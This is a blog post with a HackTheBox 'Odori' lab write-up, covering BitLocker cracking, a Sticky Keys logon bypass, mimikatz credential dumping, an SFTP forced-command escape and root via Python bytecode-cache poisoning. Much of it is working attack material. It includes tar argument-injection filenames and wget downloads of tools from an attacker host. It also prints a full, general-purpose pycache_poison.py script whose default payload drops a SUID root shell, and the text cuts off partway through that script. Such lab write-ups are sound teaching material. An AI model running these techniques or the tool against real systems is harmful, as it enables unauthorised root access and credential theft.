DEV Community

Cover image for HackTheBox: Odori Writeup
Yogeshwar Peela
Yogeshwar Peela

Posted on Edited on Originally published at exploitnotes.hashnode.dev

HackTheBox: Odori Writeup

Summary

Odori ships as an offline forensics box: the only live services are SSH and Samba, and an anonymously readable backup share just points to a BitLocker-encrypted VMDK handed out with the machine. Cracking the BitLocker password with bitlocker2john and rockyou unlocks the disk, but getting a usable account still means booting the VM into WinRE and swapping sethc.exe for cmd.exe to get a SYSTEM shell past the Windows logon with neither account's password known. From there, mimikatz dumps NTLM hashes (a dead end against the Linux box's Samba) and then pulls a cleartext scheduled-task password for svc_backup out of Credential Manager. That account can only SFTP into the Linux target - ForceCommand blocks an interactive shell - but /opt/restrict and svc_backup's .ssh directory are both writable over SFTP, so overwriting the forced-command script gets a real bash -i. User flag comes off before the shell escape. Root is a root cron job running /opt/archiver/app.py every minute: a tar-argument-injection attempt against writable /backup fails because each file gets its own tar invocation, but /opt/archiver/__pycache__/helper.cpython-310.pyc is writable by svc_backup, so forging a .pyc with a matching (mtime, size) header and module-level payload code gets arbitrary code executed as root on the next cron tick, dropping a SUID root bash.

Table of Contents

  1. Reconnaissance
  2. Offline Disk Analysis
  3. Decrypting BitLocker and Booting the VM
  4. Credential Dumping (Windows)
  5. Gaining a Shell (Linux)
  6. User Flag
  7. Privilege Escalation
  8. Root Flag
  9. Attack Chain Summary
  10. Mitigations
  11. References

1. Reconnaissance

1.1 Nmap

nmap -A -Pn <machine-ip> -oN nmap-full.txt

PORT    STATE SERVICE     VERSION
22/tcp  open  ssh         OpenSSH 8.9p1 Ubuntu 3ubuntu0.15 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   256 33:6a:5a:1f:35:95:4f:47:78:f4:5e:81:1b:ac:0e:af (ECDSA)
|_  256 62:a0:e7:ec:de:21:8d:83:cd:72:cc:7b:fa:9f:7f:15 (ED25519)
139/tcp open  netbios-ssn Samba smbd 4
445/tcp open  netbios-ssn Samba smbd 4
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Host script results:
| smb2-time:
|   date: 2026-10-17T14:09:51
|_  start_date: N/A
|_nbstat: NetBIOS name: ODORI, NetBIOS user: <unknown>, NetBIOS MAC: <unknown> (unknown)
| smb2-security-mode:
|   3.1.1:
|_    Message signing enabled but not required
|_clock-skew: 1d00h08m40s
Enter fullscreen mode Exit fullscreen mode

Three open ports: 22 (OpenSSH), 139 and 445 (Samba). No web surface at all, so the SMB shares become the obvious next step.

1.2 SMB Enumeration

Checked for null/guest SMB access before anything else:

nxc smb <machine-ip> -u '' -p ''
SMB   <machine-ip>   445   ODORI   [*] Unix - Samba (name:ODORI) (domain:ODORI) (signing:False) (SMBv1:None) (Null Auth:True)
SMB   <machine-ip>   445   ODORI   [+] ODORI\:
Enter fullscreen mode Exit fullscreen mode

Null auth works, so shares can be enumerated anonymously:

nxc smb <machine-ip> -u '' -p '' --shares
SMB   <machine-ip>   445   ODORI   Share           Permissions     Remark
SMB   <machine-ip>   445   ODORI   -----           -----------     ------
SMB   <machine-ip>   445   ODORI   print$                          Printer Drivers
SMB   <machine-ip>   445   ODORI   backup          READ            Server Backups
SMB   <machine-ip>   445   ODORI   IPC$                            IPC Service (odori server (Samba, Ubuntu))
Enter fullscreen mode Exit fullscreen mode

backup is world-readable:

smbclient //<machine-ip>/backup -N
Try "help" to get a list of possible commands.
smb: \> ls
  .                                   D        0  Wed Jun 25 18:49:15 2025
  ..                                  D        0  Fri Apr 24 17:29:37 2026
  info.txt                            N       66  Wed Jun 25 18:48:44 2025

                7533016 blocks of size 1024. 2864352 blocks available
smb: \> get info.txt
getting file \info.txt of size 66 as info.txt (0.0 KiloBytes/sec) (average 0.0 KiloBytes/sec)
Enter fullscreen mode Exit fullscreen mode
cat info.txt
Please download the .vmdk file linked in the machine description.
Enter fullscreen mode Exit fullscreen mode

A single hint file pointing away from the live target entirely - the actual entry point is an offline forensics exercise against a provided disk image, not a live network service.


2. Offline Disk Analysis

The provided download is a large 7z archive (~19 GiB) containing a single .vmdk.

7z e odori.7z
7-Zip 26.01 (x64) : Copyright (c) 1999-2026 Igor Pavlov : 2026-04-27
Scanning the drive for archives:
1 file, 19795590292 bytes (19 GiB)
Extracting archive: odori.7z
Enter password (will not be echoed):
--
Everything is Ok

file file02.vmdk
file02.vmdk: VMware4 disk image
Enter fullscreen mode Exit fullscreen mode

2.1 Sanity-checking the disk image

Worth validating before spending time analyzing a 19 GiB file that might just be corrupted:

qemu-img info file02.vmdk
image: file02.vmdk
file format: vmdk
virtual size: 20 GiB (21474836480 bytes)
disk size: 18.7 GiB
cluster_size: 65536
Format specific information:
    cid: 3024510711
    parent cid: 4294967295
    create type: monolithicSparse

qemu-img check file02.vmdk
No errors were found on the image.
Enter fullscreen mode Exit fullscreen mode
  • monolithicSparse - single-file VMDK, no split extents to track down.
  • parent cid: 4294967295 (0xFFFFFFFF) - no parent/base disk. Standalone image, not a snapshot delta waiting on a missing base.
  • Virtual size 20 GiB vs. 18.7 GiB on disk - consistent with what was extracted.
sha256sum file02.vmdk
e7b487e41937da6b6a5875867cf92a2c4f90bbcc32f61795c019e35f2db8a631  file02.vmdk
Enter fullscreen mode Exit fullscreen mode

2.2 Identifying the OS and filesystem layout

virt-filesystems --long -h --all -a file02.vmdk
Name       Type        VFS   Label  MBR  Size  Parent
/dev/sda1  filesystem  vfat  -      -    96M   -
/dev/sda4  filesystem  ntfs  -      -    524M  -
/dev/sda1  partition   -     -      -    100M  /dev/sda
/dev/sda2  partition   -     -      -    16M   /dev/sda
/dev/sda3  partition   -     -      -    19G   /dev/sda
/dev/sda4  partition   -     -      -    524M  /dev/sda
/dev/sda   device      -     -      -    20G   -
Enter fullscreen mode Exit fullscreen mode
virt-ls -a file02.vmdk -m /dev/sda1 -R /
EFI
EFI/Boot/bootx64.efi
EFI/Microsoft/Boot/...
System Volume Information
Enter fullscreen mode Exit fullscreen mode

EFI System Partition plus a Microsoft Boot Manager layout - this confirms a Windows guest. The large 19 GB /dev/sda3 partition (unidentified filesystem type to virt-filesystems) is the OS volume, and turns out to be BitLocker-encrypted.


3. Decrypting BitLocker and Booting the VM

3.1 Building the analysis VM

VMware Workstation, custom build pointed directly at the extracted VMDK:

  1. File -> New Virtual Machine -> Custom (advanced)
  2. Hardware compatibility: default
  3. Guest OS install: "I will install the operating system later"
  4. Guest OS: Windows 10/11 x64 (closest match to the modern EFI bootloader seen earlier; refine later if it turns out to be Server)
  5. Name/location: anywhere with enough free space for VM config files (the VMDK stays referenced in place)
  6. CPU/memory: defaults
  7. Network Type: Host-only - set this now, before first boot, to keep the box isolated
  8. I/O controller / disk type: defaults
  9. Select a Disk -> Use an existing virtual disk -> browse to file02-working.vmdk (work on a copy, never the original). Accept any "needs to be converted" prompt only if required.
  10. Finish
  11. Before powering on: confirm Network Adapter is Host-only, and Hard Disk points at the working copy.
  12. Power on -> if prompted "did you copy or move this VM," choose I copied it.

Powering on this VM is where the BitLocker protection first became visible - the boot immediately stops at a password prompt instead of reaching a Windows logon screen.

3.2 Cracking the BitLocker hash

john ships a native BitLocker hash extractor, run back on the host against the original VMDK:

bitlocker2john -i file02.vmdk > vm-hash
Enter fullscreen mode Exit fullscreen mode
cat vm-hash
Encrypted device file02.vmdk opened, size 19122MB
...
$bitlocker$0$16$b303ee2dfde14680034ffeeb510b5d65$1048576$12$e0ff381f1d64db010c000000$60$...
Hash type: User Password with MAC verification (slower solution, no false positives)
$bitlocker$1$...  Hash type: Recovery Password fast attack
$bitlocker$2$...  Hash type: Recovery Password with MAC verification (slower solution, no false positives)
$bitlocker$3$...  Hash type: Recovery Password with MAC verification (slower solution, no false positives)
Enter fullscreen mode Exit fullscreen mode
john --wordlist=/usr/share/wordlists/rockyou.txt vm-hash
Note: This format may emit false positives, so it will keep trying even after finding a possible candidate.
Loaded 2 password hashes with 2 different salts (BitLocker, BitLocker [SHA-256 AES 32/64])
123456789        (?)
123456789        (?)
Enter fullscreen mode Exit fullscreen mode

BitLocker password cracked: 123456789. Entering this at the VM's BitLocker prompt unlocks the volume and lets the boot continue - but it still doesn't give us a Windows account (Administrator / svc_backup) to log in as, since we still don't know either account's Windows password. For that, a privilege escalation path is needed once inside the guest.

3.3 Bypassing the Windows logon with a recovery environment

To get a SYSTEM-level shell without knowing either account's Windows password, boot into WinRE from an installation ISO and patch Sticky Keys.

Attach the ISO (VM powered off): Settings -> CD/DVD (SATA) -> Use ISO Image file -> browse to a Windows installation ISO -> check Connect at power on.

Boot to firmware and select the CD-ROM: Power On -> Power On to Firmware -> Boot Manager -> select EFI VMware Virtual SATA CDROM Drive (1.0).

Boot Manager

The ISO's Windows Setup loads. Pick language/keyboard defaults and click Next:

Windows Setup - language selection

On the install screen, don't click Install now - use the recovery link in the bottom-left instead:

Windows Setup - Repair your computer

This drops into WinRE. Click Troubleshoot:

Choose an option - Troubleshoot

Then Command Prompt:

Advanced options - Command Prompt

Identify and unlock the BitLocker volume from the recovery shell:

X:\Sources>diskpart

DISKPART> list volume

  Volume ###  Ltr  Label        Fs     Type        Size     Status     Info
  ----------  ---  -----------  -----  ----------  -------  ---------  --------
  Volume 0     D   ESD-ISO      UDF    DVD-ROM     4667 MB  Healthy
  Volume 1         Unkno        Partition     19 GB  Healthy
  Volume 2         FAT32        Partition    100 MB  Healthy    Hidden
  Volume 3         NTFS         Partition    524 MB  Healthy    Hidden

DISKPART> select volume 1
DISKPART> assign letter=E
DISKPART> exit
Enter fullscreen mode Exit fullscreen mode

Volume 1 (the 19 GB target) reads as Unkno filesystem until unlocked - a BitLocker-locked NTFS volume shows as unrecognized to tools that can't decrypt it on the fly.

diskpart - listing and assigning the locked volume

X:\Sources>manage-bde -unlock E: -pw
Enter the password to unlock this volume: [BitLocker password]
The password successfully unlocked volume E:.

X:\Sources>dir E:
01/11/2025  05:23 AM    <DIR>          Config
01/11/2025  05:33 AM    <DIR>          Data
01/11/2025  05:32 AM    <DIR>          Program Files
01/11/2025  05:29 AM    <DIR>          Scripts
01/08/2025  09:05 AM    <DIR>          Users
10/16/2026  08:30 PM    <DIR>          Windows
Enter fullscreen mode Exit fullscreen mode

manage-bde unlock output and directory listing

Swap sethc.exe for cmd.exe - the classic Sticky Keys privesc:

X:\Sources>copy E:\Windows\System32\sethc.exe E:\Windows\System32\sethc.exe.bak
        1 file(s) copied.

X:\Sources>copy E:\Windows\System32\cmd.exe E:\Windows\System32\sethc.exe
Overwrite E:\Windows\System32\sethc.exe? (Yes/No/All): Y
        1 file(s) copied.
Enter fullscreen mode Exit fullscreen mode

Backing up sethc.exe and replacing it with cmd.exe

Disconnect the ISO and reboot into the normal Windows logon screen. Pressing Shift x5 at the logon screen now launches a SYSTEM-privileged cmd.exe in place of the Sticky Keys dialog - full SYSTEM access with neither account's Windows password:

From this SYSTEM prompt, the Administrator password can simply be reset:

net user Administrator Password123
Enter fullscreen mode Exit fullscreen mode

4. Credential Dumping (Windows)

4.1 Local hashes via mimikatz

C:\Temp>.\mimikatz.exe

mimikatz # privilege::debug
Privilege '20' OK

mimikatz # token::elevate
 -> Impersonated !
 * Thread Token  : {0;000003e7} NT AUTHORITY\SYSTEM

mimikatz # lsadump::sam
Enter fullscreen mode Exit fullscreen mode

Recovered NTLM hashes:

Administrator:58a478135a93ac3bf058a5ea0e8fdb71
svc_backup:be3071bd4cce75e2bbd3c79c7ec5380e
WDAGUtilityAccount:63d7c1f6a1a8378eba2ee87246bf7140
Enter fullscreen mode Exit fullscreen mode

Pass-the-hash against the Linux target's Samba service only authenticates as Guest - Samba doesn't trust these as domain creds for anything useful here:

nxc smb <machine-ip> -u svc_backup -H be3071bd4cce75e2bbd3c79c7ec5380e
SMB   <machine-ip>   445   ODORI   [+] ODORI\svc_backup:be3071bd4cce75e2bbd3c79c7ec5380e (Guest)

nxc smb <machine-ip> -u Administrator -H 58a478135a93ac3bf058a5ea0e8fdb71
SMB   <machine-ip>   445   ODORI   [+] ODORI\Administrator:58a478135a93ac3bf058a5ea0e8fdb71 (Guest)
Enter fullscreen mode Exit fullscreen mode

So the NTLM hashes aren't the way in - the real credential is elsewhere on disk.

4.2 Finding a cleartext password in Credential Manager

C:\Scripts\backup.ps1 references svc_backup connecting to odori.vl via SFTP, with the password redacted in the script itself (shown only as ***). Since the script runs as a scheduled task, Windows has to store the running account's password somewhere to authenticate non-interactively at run time - Credential Manager's Windows Credentials vault is the usual place for this.

mimikatz # vault::list

Vault : {77bc582b-f0a6-4e15-4e80-61736b6f3b29}
        Name       : Windows Credentials
        Items (1)
          0.    (null)
                Ressource       : [STRING] Domain:batch=TaskScheduler:Task:{EB952370-3B64-45F3-814D-6F47F413A8D8}
                Identity        : [STRING] FILE02\svc_backup
                *** Domain Password ***
Enter fullscreen mode Exit fullscreen mode

vault::list shows the entry exists but doesn't reveal the password itself - vault::cred /patch decrypts and dumps it:

mimikatz # vault::cred /patch
TargetName : Domain:batch=TaskScheduler:Task:{EB952370-3B64-45F3-814D-6F47F413A8D8} / <NULL>
UserName   : FILE02\svc_backup
Type       : 2 - domain_password
Credential : Napping2Curator
Enter fullscreen mode Exit fullscreen mode

Recovered credential: svc_backup / Napping2Curator


5. Gaining a Shell (Linux)

5.1 SSH authenticates but hangs

ssh svc_backup@<machine-ip> -v
...
debug1: Next authentication method: password
svc_backup@<machine-ip>'s password:
Authenticated to <machine-ip> ([<machine-ip>]:22) using "password".
debug1: Entering interactive session.
debug1: pledge: fork
Enter fullscreen mode Exit fullscreen mode

Authentication succeeds, but the session never produces a shell prompt - it just hangs. This pointed at a server-side restriction rather than a credential problem, so the obvious workaround is to try a different SSH subsystem: SFTP (also over port 22) is mentioned in the backup script, so test that first.

5.2 SFTP works

sftp svc_backup@<machine-ip>
svc_backup@<machine-ip>'s password:
Connected to <machine-ip>.
sftp> ls -la
drwxr-x---    5 svc_backup svc_backup     4096 Apr  6  2026 .
drwxr-xr-x    4 root     root         4096 Jan 11  2025 ..
lrwxrwxrwx    1 root     root            9 Apr  6  2026 .bash_history
-rw-r--r--    1 svc_backup svc_backup      220 Jan 11  2025 .bash_logout
-rw-r--r--    1 svc_backup svc_backup     3771 Jan 11  2025 .bashrc
drwx------    2 svc_backup svc_backup     4096 Jan 11  2025 .cache
drwxrwxr-x    3 svc_backup svc_backup     4096 Jan 15  2025 .local
-rw-r--r--    1 svc_backup svc_backup      807 Jan 11  2025 .profile
drwxr-xr-x    2 svc_backup svc_backup     4096 Jan 11  2025 .ssh
-rw-r-----    1 root     svc_backup       33 Oct 18 02:59 user.txt
Enter fullscreen mode Exit fullscreen mode

5.3 Diagnosing the restricted shell

Pulled the SSH server config to understand why the interactive session hangs:

sftp> get /etc/ssh/sshd_config
Enter fullscreen mode Exit fullscreen mode
cat sshd_config
...
Match group svc_backup
        #ChrootDirectory /backup
        ForceCommand /opt/restrict /home/%u
        AllowTcpForwarding no
Enter fullscreen mode Exit fullscreen mode

svc_backup falls under this Match group block, and ForceCommand overrides whatever command the client requests - that's why the interactive shell never materializes. The forced command itself:

sftp> get /opt/restrict
Enter fullscreen mode Exit fullscreen mode
cat restrict
#!/bin/bash

/usr/lib/openssh/sftp-server -d $1
Enter fullscreen mode Exit fullscreen mode

It just re-execs the SFTP server, which is why SFTP worked but an interactive shell didn't - the account is wired to only ever get SFTP.

5.4 Escaping the restricted shell

Two things make the bypass possible:

  1. /opt/restrict is group/other-writable (-rwxrwxr-x, owned by svc_backup:root) - the exact file SSH forces as the login command can be overwritten.
  2. svc_backup's own .ssh directory is writable over SFTP, so a public key can be dropped in for key-based auth.

Add our public key:

cat ~/.ssh/id_ed25519.pub >> authorized_keys
# on sftp
put authorized_keys /home/svc_backup/authorized_keys
Enter fullscreen mode Exit fullscreen mode

Replace the forced command with a real shell:

cat > restrict_new << 'EOF'
#!/bin/bash
/bin/bash -i
EOF
chmod +x restrict_new
Enter fullscreen mode Exit fullscreen mode
# on sftp
put restrict_new /opt/restrict
Enter fullscreen mode Exit fullscreen mode

Connect with an interactive shell:

ssh -i ~/.ssh/id_ed25519 svc_backup@<machine-ip>
svc_backup@odori:~$ whoami
svc_backup
svc_backup@odori:~$ id
uid=1001(svc_backup) gid=1001(svc_backup) groups=1001(svc_backup)
Enter fullscreen mode Exit fullscreen mode
svc_backup@odori:~$ sudo -l
[sudo] password for svc_backup:
Sorry, user svc_backup may not run sudo on odori.
Enter fullscreen mode Exit fullscreen mode

No sudo rights - privilege escalation has to come from somewhere else on the box.


6. User Flag

Grabbed via SFTP, before the shell escape above:

sftp> get user.txt
Fetching /home/svc_backup/user.txt to user.txt
user.txt                                                                    100%   33     0.0KB/s   00:00
Enter fullscreen mode Exit fullscreen mode
cat user.txt
REDACTED
Enter fullscreen mode Exit fullscreen mode

7. Privilege Escalation

7.1 Enumeration

svc_backup@odori:~$ find / -perm -4000 2>/dev/null
...
-rwsr-xr-x 1 root root 31K Apr 10 2026 /usr/bin/pkexec  --->  Linux4.10_to_5.1.17(CVE-2019-13272)/rhel_6(CVE-2011-1485)/Generic_CVE-2021-4034
Enter fullscreen mode Exit fullscreen mode

All SUID binaries are patched against their known CVEs - nothing usable there. Crontabs and timers visible to the user showed nothing either, so the next step was to pull linpeas.sh and pspy64 to look for privileged activity invisible from a normal user's view (cron jobs running as root in particular don't show up in a user's own crontab -l).

svc_backup@odori:~$ wget http://<attacker-ip>/linpeas.sh
svc_backup@odori:~$ wget http://<attacker-ip>/pspy64 && chmod +x pspy64 && ./pspy64
Enter fullscreen mode Exit fullscreen mode

pspy64 caught a root-owned process firing every minute:

2026/10/18 07:37:01 CMD: UID=0 PID=67651 | python3 /opt/archiver/app.py
2026/10/18 07:37:01 CMD: UID=0 PID=67650 | /bin/sh -c python3 /opt/archiver/app.py
Enter fullscreen mode Exit fullscreen mode

7.2 The archiver script

/opt/archiver - already noted earlier over SFTP but not yet connected to a cron job:

svc_backup@odori:~$ ls -la /opt/archiver/
total 20
drwxr-xr-x 3 root root 4096 Apr 24 11:59 .
drwxr-xr-x 3 root root 4096 Apr 24 11:59 ..
-rw-r--r-- 1 root root  812 Jan 11  2025 app.py
-rw-r--r-- 1 root root  412 Jan 16  2025 helper.py
drwxr-xrwx 2 root root 4096 Oct 18 08:10 __pycache__
Enter fullscreen mode Exit fullscreen mode
# app.py
import os
from datetime import datetime, timedelta
from helper import tar_and_move_files

backup_dir = '/backup'
archive_dir = '/archive'
threshold_date = datetime.now() - timedelta(days=3*365)

def scan_and_archive_files():
    if not os.path.exists(archive_dir):
        os.makedirs(archive_dir)
    for root, dirs, files in os.walk(backup_dir):
        for file in files:
            file_path = os.path.join(root, file)
            file_mod_time = datetime.fromtimestamp(os.path.getmtime(file_path))
            if file_mod_time < threshold_date:
                print(f'Moving {file_path} to archive...')
                tar_and_move_files(file_path, archive_dir)
            else:
                print(f'{file_path} is not old enough to archive.')

if __name__ == '__main__':
    scan_and_archive_files()
Enter fullscreen mode Exit fullscreen mode
# helper.py
import os
import subprocess
from datetime import datetime

def tar_and_move_files(file_path, archive_dir):
    current_date = datetime.now().strftime('%Y-%m-%d')
    tar_filename = os.path.join(archive_dir, f'{current_date}_{os.path.basename(file_path)}.tar.gz')
    subprocess.Popen(["/usr/bin/tar", "-czf", tar_filename, "-C", os.path.dirname(file_path), os.path.basename(file_path)])
    os.remove(file_path)
Enter fullscreen mode Exit fullscreen mode

Two separate weaknesses jump out:

# Weakness Where
1 tar is invoked with a filename taken straight from /backup, with no sanitization helper.py -> tar_and_move_files()
2 __pycache__ is world-writable (drwxr-xrwx), and the cached bytecode file inside it is owned by svc_backup /opt/archiver/__pycache__/

/backup itself is also writable by svc_backup (confirmed via linpeas and by the earlier SMB backup share), so both paths are reachable.

7.3 Attempt 1: tar argument injection (failed)

The idea: drop a filename in /backup, aged past the 3-year threshold, crafted so tar parses it as an option instead of a filename - classic GTFOBins-style tar argument injection.

cd /backup
touch -d "4 years ago" -- "--checkpoint=1"
touch -d "4 years ago" -- "--checkpoint-action=exec=sh shell.sh"
Enter fullscreen mode Exit fullscreen mode

This doesn't work here. app.py calls tar_and_move_files() once per file found by os.walk(), and each call spawns its own separate tar process with a single filename argument:

subprocess.Popen(["/usr/bin/tar", "-czf", tar_filename, "-C", dirname, basename])
Enter fullscreen mode Exit fullscreen mode

So --checkpoint=1 and --checkpoint-action=... land in two unrelated tar invocations, never together on the same command line. --checkpoint alone is harmless (just prints progress), so nothing fires. Confirmed manually:

/usr/bin/tar -czf /tmp/test1.tar.gz -C /home/svc_backup -- "--checkpoint=1"
# exit code: 0, archive created normally - no injection possible this way
Enter fullscreen mode Exit fullscreen mode

A single self-contained option like --use-compress-program=/path/to/script would work in principle, since it needs no pairing with a second argument - but the __pycache__ write primitive below was already confirmed and is more deterministic, so that became the actual exploitation path.

7.4 Attempt 2: __pycache__ bytecode poisoning (successful)

Python's import system trusts a cached .pyc file over recompiling its matching .py source whenever the .pyc's embedded header - specifically the source file's (mtime, size) - matches the real source file on disk. There's no cryptographic integrity check on cached bytecode. Since helper.cpython-310.pyc was owned by and writable by svc_backup, a forged .pyc with a header matching the real helper.py would be loaded and executed as-is by root's cron job, without the actual helper.py source ever being touched.

(See Section 11 - References for background on this technique.)

Step 1 - capture the real source file's mtime/size, needed so the forged header validates:

REAL_MTIME=$(stat -c '%Y' /opt/archiver/helper.py)
REAL_SIZE=$(stat -c '%s' /opt/archiver/helper.py)
Enter fullscreen mode Exit fullscreen mode

Step 2 - write a malicious helper.py. The payload has to sit at module scope, not inside tar_and_move_files() - the function body only runs if app.py actually calls it, which requires a qualifying file in /backup. Module-level code runs unconditionally the instant the module is imported, which happens on every single cron tick regardless of /backup's contents:

import os, subprocess
from datetime import datetime

try:
    os.system("cp /bin/bash /tmp/rootbash; chmod 4755 /tmp/rootbash")
except Exception:
    pass

def tar_and_move_files(file_path, archive_dir):
    current_date = datetime.now().strftime('%Y-%m-%d')
    tar_filename = os.path.join(archive_dir, f'{current_date}_{os.path.basename(file_path)}.tar.gz')
    subprocess.Popen(["/usr/bin/tar", "-czf", tar_filename, "-C", os.path.dirname(file_path), os.path.basename(file_path)])
    os.remove(file_path)
Enter fullscreen mode Exit fullscreen mode

An earlier attempt placed the os.system(...) call inside the function body and produced no result - it silently waited on a qualifying /backup file that never arrived. Moving it to module scope fixed this.

Step 3 - compile, then patch the header's size field. py_compile stamps the local file's own mtime/size by default; the mtime is made correct up front by touching the source file, but the size still has to be patched manually to match the real helper.py on the target:

touch -d @$REAL_MTIME helper.py
python3 -m py_compile helper.py

python3 - << EOF
import struct
pyc_path = "__pycache__/helper.cpython-310.pyc"
with open(pyc_path, "r+b") as f:
    data = bytearray(f.read())
    struct.pack_into("<I", data, 12, $REAL_SIZE & 0xFFFFFFFF)
    f.seek(0)
    f.write(data)
EOF
Enter fullscreen mode Exit fullscreen mode

Step 4 - drop it into the real cache directory and wait for the next cron tick:

cp __pycache__/helper.cpython-310.pyc /opt/archiver/__pycache__/helper.cpython-310.pyc
watch -n 5 'ls -la /tmp/rootbash 2>/dev/null'
Enter fullscreen mode Exit fullscreen mode

Within 60 seconds:

svc_backup@odori:/tmp/poison$ ls -la /tmp/rootbash
-rwsr-xr-x 1 root root 1396520 Oct 18 09:42 /tmp/rootbash
svc_backup@odori:/tmp/poison$ /tmp/rootbash -p
rootbash-5.1# id
uid=1001(svc_backup) gid=1001(svc_backup) euid=0(root) groups=1001(svc_backup)
Enter fullscreen mode Exit fullscreen mode

7.5 Automating the exploit

A general-purpose version of steps 2-4 above is available as pycache_poison.py. It builds the malicious module, compiles it, patches the header to match an arbitrary real source file, and writes the result to a target __pycache__ path in one shot.

One important implementation detail: writing to the target .pyc using open("wb") directly will fail with PermissionError when the file is owned by root (which happens if cron ran and Python discarded a mismatched-header .pyc and recompiled it as root). The fix is to write a temp file in the same directory and os.replace() it over the target - a rename only needs write permission on the directory, not the file itself, which matches exactly what mv does.

usage: pycache_poison.py [-h] --source SOURCE --target-pyc TARGET_PYC
                         [--payload PAYLOAD] [--keep-func NAME] [--dry-run]

arguments:
  --source      Path to the real .py source file the privileged process
                imports. Only read, never modified - its mtime/size are
                copied into the forged header.
  --target-pyc  Path to write the poisoned .pyc. Parent __pycache__ dir
                must be writable; the file itself does not need to be.
  --payload     Python statement to execute unconditionally at import time.
                Default: os.system('cp /bin/bash /tmp/rootbash; chmod 4755 /tmp/rootbash')
  --keep-func   Function name the privileged script imports/calls from the
                module. Repeat for each name. A harmless no-op stub is
                generated so the privileged script doesn't crash.
  --dry-run     Build and print the forged module without writing anything.
Enter fullscreen mode Exit fullscreen mode

Usage on this box:

python3 pycache_poison.py \
  --source /opt/archiver/helper.py \
  --target-pyc /opt/archiver/__pycache__/helper.cpython-310.pyc \
  --payload "os.system('cp /bin/bash /tmp/rootbash; chmod 4755 /tmp/rootbash')" \
  --keep-func tar_and_move_files
Enter fullscreen mode Exit fullscreen mode

Expected output:

[*] Source: /opt/archiver/helper.py
    mtime = 1737062139 (1737062139)
    size  = 412 bytes
[*] Compiled malicious module -> /tmp/tmpkivculj3/__pycache__/_poison_src.cpython-310.pyc
[*] Patched pyc header to match source (mtime, size)
[+] Wrote poisoned pyc -> /opt/archiver/__pycache__/helper.cpython-310.pyc
[+] Done. Wait for the privileged process to import this module again (cron tick, service restart, next invocation, etc.).
Enter fullscreen mode Exit fullscreen mode

Full script:

#!/usr/bin/env python3
"""
pycache_poison.py

Generic Python __pycache__ bytecode-poisoning helper for local privesc
scenarios where a privileged process (root cron job, SUID wrapper, systemd
service, sudo script, etc.) imports a module from a directory whose
__pycache__ folder is writable by a lower-privileged user.

Background / technique:
  Python's import system will load a cached .pyc instead of recompiling the
  matching .py source IF the .pyc header's embedded (mtime, size) of the
  source file matches the real source file on disk. There is no
  cryptographic integrity check, so if an attacker can write to the
  __pycache__ directory, they can forge a .pyc whose header matches the
  real source file's (mtime, size) but whose bytecode is attacker-controlled.
  The privileged process then executes the attacker's code on next import,
  with no visible change to the real .py source file.

  See: https://hardsoftsecurity.es/index.php/2026/01/19/python-cache-poisoning-privesc-linux/

Requirements:
  - Write access to the target .pyc file's parent __pycache__ directory
  - Read access to the real source .py file (to copy its mtime/size)
  - The python3 interpreter used to RUN this script must be the same
    major.minor version the privileged process uses (so the magic number
    in the compiled bytecode matches what the target interpreter accepts)
"""

import argparse
import os
import struct
import subprocess
import sys
import tempfile


def read_source_stat(source_path: str):
    st = os.stat(source_path)
    mtime = int(st.st_mtime)
    size = st.st_size & 0xFFFFFFFF
    return mtime, size


def build_module_source(payload: str, keep_funcs: list) -> str:
    """
    Build the full .py text for the malicious module: unconditional
    module-level payload execution, plus harmless stub functions so the
    privileged importer's `from module import <name>` / later calls don't
    blow up.
    """
    lines = [
        "import os",
        "import subprocess",
        "",
        "try:",
        f"    {payload}",
        "except Exception:",
        "    pass",
        "",
    ]
    for fn in keep_funcs:
        lines.append(f"def {fn}(*args, **kwargs):")
        lines.append("    pass")
        lines.append("")
    return "\n".join(lines)


def compile_module(py_text: str, mtime: int, workdir: str) -> str:
    """
    Write py_text to a throwaway .py file inside workdir, stamp it with the
    given mtime (so py_compile embeds a predictable value we'll overwrite
    anyway), compile it, and return the path to the produced .pyc.
    """
    src_path = os.path.join(workdir, "_poison_src.py")
    with open(src_path, "w") as f:
        f.write(py_text)
    os.utime(src_path, (mtime, mtime))

    subprocess.run(
        [sys.executable, "-m", "py_compile", src_path],
        check=True,
        cwd=workdir,
    )

    cache_dir = os.path.join(workdir, "__pycache__")
    candidates = [f for f in os.listdir(cache_dir) if f.startswith("_poison_src.")]
    if not candidates:
        raise RuntimeError("py_compile did not produce a .pyc file")
    return os.path.join(cache_dir, candidates[0])


def patch_header(pyc_path: str, mtime: int, size: int) -> bytes:
    """
    Rewrite the 16-byte PEP 552 timestamp-based .pyc header so its
    (mtime, size) fields match the real source file, while keeping the
    magic number (bytes 0-3) and flags (bytes 4-7) produced by this
    interpreter's own compiler.

    Header layout (CPython 3.7+):
      offset  0-3  : magic number
      offset  4-7  : flags (bit 0 = hash-based pyc; we require 0 = timestamp-based)
      offset  8-11 : source mtime (little-endian uint32)
      offset 12-15 : source size  (little-endian uint32)
      offset 16-   : marshalled code object
    """
    with open(pyc_path, "rb") as f:
        data = bytearray(f.read())

    if len(data) < 16:
        raise RuntimeError("Compiled .pyc is smaller than the expected header size")

    flags = struct.unpack_from("<I", data, 4)[0]
    if flags & 0x1:
        raise RuntimeError(
            "This interpreter produced a hash-based pyc (PEP 552 flag bit 0 set); "
            "this script only forges timestamp-based pyc headers."
        )

    struct.pack_into("<I", data, 8, mtime & 0xFFFFFFFF)
    struct.pack_into("<I", data, 12, size)
    return bytes(data)


def main():
    parser = argparse.ArgumentParser(
        description="Forge a __pycache__ .pyc to execute code in a privileged "
        "Python import, matching a real source file's cache-validation header."
    )
    parser.add_argument(
        "--source",
        required=True,
        help="Path to the REAL .py source file the privileged process imports. "
        "Only read, never modified.",
    )
    parser.add_argument(
        "--target-pyc",
        required=True,
        help="Path to WRITE the poisoned .pyc. Parent __pycache__ dir must be "
        "writable; the file itself does not need to be.",
    )
    parser.add_argument(
        "--payload",
        default="os.system('cp /bin/bash /tmp/rootbash; chmod 4755 /tmp/rootbash')",
        help="Python statement executed unconditionally at module import time. "
        "Default drops a SUID root bash to /tmp/rootbash.",
    )
    parser.add_argument(
        "--keep-func",
        action="append",
        default=[],
        metavar="NAME",
        help="Function name the privileged script imports/calls from this module. "
        "Repeat for multiple names. A no-op stub is generated for each.",
    )
    parser.add_argument(
        "--dry-run",
        action="store_true",
        help="Build and show the forged module/header info without writing "
        "to --target-pyc.",
    )
    args = parser.parse_args()

    if not os.path.isfile(args.source):
        sys.exit(f"[-] Source file not found: {args.source}")

